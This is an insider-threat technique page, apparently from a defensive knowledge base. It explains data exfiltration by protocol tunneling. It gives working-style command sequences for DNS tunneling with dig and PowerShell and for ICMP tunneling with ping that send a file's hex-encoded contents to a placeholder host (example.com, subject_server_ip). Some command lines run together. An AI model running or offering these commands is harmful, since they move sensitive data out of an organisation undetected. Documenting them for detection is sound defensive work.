Infringement
Account Sharing
Data Loss
Denial of Service
Disruption of Business Operations
Excessive Personal Use
Exfiltration via Email
Exfiltration via Media Capture
Exfiltration via Messaging Applications
Exfiltration via Other Network Medium
Exfiltration via Physical Medium
- Exfiltration via Bring Your Own Device (BYOD)
- Exfiltration via Disk Media
- Exfiltration via Floppy Disk
- Exfiltration via New Internal Drive
- Exfiltration via Physical Access to System Drive
- Exfiltration via Physical Documents
- Exfiltration via Target Disk Mode
- Exfiltration via USB Mass Storage Device
- Exfiltration via USB to Mobile Device
- Exfiltration via USB to USB Data Transfer
Exfiltration via Screen Sharing
Exfiltration via Web Service
Harassment and Discrimination
Inappropriate Web Browsing
Installing Malicious Software
Installing Unapproved Software
Misappropriation of Funds
Non-Corporate Device
Providing Access to a Unauthorized Third Party
Public Statements Resulting in Brand Damage
Regulatory Non-Compliance
Sharing on AI Chatbot Platforms
Theft
Unauthorized Changes to IT Systems
Unauthorized Printing of Documents
Unauthorized VPN Client
Unlawfully Accessing Copyrighted Material
- ID: IF004.005
- Created: 31st July 2024
- Updated: 31st July 2024
- Platforms: WindowsLinuxMacOS
- Contributors: Ismael Briones-Vilar, James Weston,
Exfiltration via Protocol Tunneling
A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.
DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
Prerequisites:
- A domain the subject controls or can use for DNS queries.
- A DNS server to receive and decode the DNS queries.
Steps:
1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:
xxd -p secret.txt > secret.txt.hex
2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):
split -b 32 secret.txt.hex hexpart_
3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:
for part in hexpart_*; do h=$(cat $part) dig txt $h.example.comdone
On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.
DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:
Prerequisites:
- A the subject you controls.
A DNS server or a script on the subjects server to capture and decode the DNS queries.
Steps:
1. The subject converts the sensitive file to hex:
$filePath = "C:\path\to\your\secret.txt"$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''
2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):
$chunkSize = 32$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }
3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:
$domain = "example.com"
foreach ($chunk in $chunks) { $query = "$chunk.$domain" Resolve-DnsName -Name $query -Type TXT}
The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.
ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
Prerequisites:
- The subject has access to a server that can receive and process ICMP packets.
- The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).
Steps:
1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:
xxd -p secret.txt > secret.txt.hex
2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
split -b 32 secret.txt.hex hexpart_
3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:
DESTINATION_IP="subject_server_ip"for part in hexpart_*; do h=$(cat $part) ping -c 1 -p "$h" $DESTINATION_IPdone
The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.